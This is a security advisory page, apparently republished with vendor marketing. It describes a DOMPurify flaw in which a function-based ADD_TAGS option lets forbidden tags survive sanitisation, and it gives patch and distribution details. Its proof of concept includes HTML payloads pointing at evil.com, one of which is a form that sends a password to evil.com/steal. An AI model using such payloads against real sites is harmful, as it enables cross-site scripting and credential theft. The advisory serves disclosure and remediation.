GHSA-h7mw-gpvr-xq4m — dompurify
Fix: cure53/DOMPurify@c361baaGHSA-h7mw-gpvr-xq4m is a Cross-site Scripting (XSS) vulnerability in dompurify. A fix is available for dompurify — see the affected versions and patch details below.
DOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for GHSA-h7mw-gpvr-xq4m.
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
dompurifynpmDescription
There is an inconsistency between FORBID_TAGS and FORBID_ATTR handling when function-based ADD_TAGS is used.
Commit c361baa added an early exit for FORBID_ATTR at line 1214:
/* FORBID_ATTR must always win, even if ADD_ATTR predicate would allow it */
if (FORBID_ATTR[lcName]) {
return false;
}
The same fix was not applied to FORBID_TAGS. At line 1118-1123, when EXTRA_ELEMENT_HANDLING.tagCheck returns true, the short-circuit evaluation skips the FORBID_TAGS check entirely:
if (
!(
EXTRA_ELEMENT_HANDLING.tagCheck instanceof Function &&
EXTRA_ELEMENT_HANDLING.tagCheck(tagName) // true -> short-circuits
) &&
(!ALLOWED_TAGS[tagName] || FORBID_TAGS[tagName]) // never evaluated
) {
This allows forbidden elements to survive sanitization with their attributes intact.
PoC (tested against current HEAD in Node.js + jsdom):
const DOMPurify = createDOMPurify(window);
DOMPurify.sanitize(
'<iframe src="https://evil.com"></iframe>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['iframe']
}
);
// Returns: '<iframe src="https://evil.com"></iframe>'
// Expected: '' (iframe forbidden)
DOMPurify.sanitize(
'<form action="https://evil.com/steal"><input name=password></form>',
{
ADD_TAGS: function(tag) { return true; },
FORBID_TAGS: ['form']
}
);
// Returns: '<form action="https://evil.com/steal"><input name="password"></form>'
// Expected: '<input name="password">' (form forbidden)
Confirmed affected: iframe, object, embed, form. The src/action/data attributes survive because attribute sanitization runs separately and allows these URLs.
Compare with FORBID_ATTR which correctly wins:
DOMPurify.sanitize(
'<p onclick="alert(1)">hello</p>',
{
ADD_ATTR: function(attr) { return true; },
FORBID_ATTR: ['onclick']
}
);
// Returns: '<p>hello</p>' (onclick correctly removed)
Suggested fix: add FORBID_TAGS early exit before the tagCheck evaluation, mirroring line 1214:
/* FORBID_TAGS must always win, even if ADD_TAGS predicate would allow it */
if (FORBID_TAGS[tagName]) {
// proceed to removal logic
}
This requires function-based ADD_TAGS in the config, which is uncommon. But the asymmetry with the FORBID_ATTR fix is clear, and the impact includes iframe and form injection with external URLs.
Reporter: Koda Reef
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | dompurify | all versions | 3.4.0npm install dompurify@3.4.0 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dompurify, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update dompurify to 3.4.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-h7mw-gpvr-xq4m is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-h7mw-gpvr-xq4m can be triaged on real exposure rather than presence alone.
Tailored to GHSA-h7mw-gpvr-xq4m. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Fixing This On Your OS
If you run this on a Linux distribution, patch through your package manager against the distro's own security advisory below — it tracks the exact backported fix for your release, which can ship on a different timeline (and sometimes a different severity) than the upstream project.
| Product | Fixed in | Advisory |
|---|---|---|
| Cryostat 4 on RHEL 9 | cryostat/cryostat-openshift-console-plugin-rhel9:4.2.0-10 | RHSA-2026:28010 |
| Red Hat Ansible Automation Platform 2.6 for RHEL 9 | automation-platform-ui-0:2.6.10-1.el9ap | RHSA-2026:34160 |
| Red Hat build of Apicurio Registry 3.3.1 | apicurio/apicurio-registry-ui-rhel8 | RHSA-2026:59360 |
| Red Hat Data Grid 8.6.1 | dompurify | RHSA-2026:22619 |
| Streams for Apache Kafka 2.9.4 | dompurify | RHSA-2026:34608 |
| Red Hat Container Native Virtualization 4.13 | container-native-virtualization/kubevirt-console-plugin-rhel9:1782426816 | RHSA-2026:36108 |
| Red Hat Container Native Virtualization 4.14 | container-native-virtualization/kubevirt-console-plugin-rhel9:1781807944 | RHSA-2026:27944 |
| Red Hat Container Native Virtualization 4.15 | container-native-virtualization/kubevirt-console-plugin-rhel9:1782917983 | RHSA-2026:36107 |
Frequently Asked Questions
Is GHSA-h7mw-gpvr-xq4m in your dependencies?
O3 Security finds GHSA-h7mw-gpvr-xq4m across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.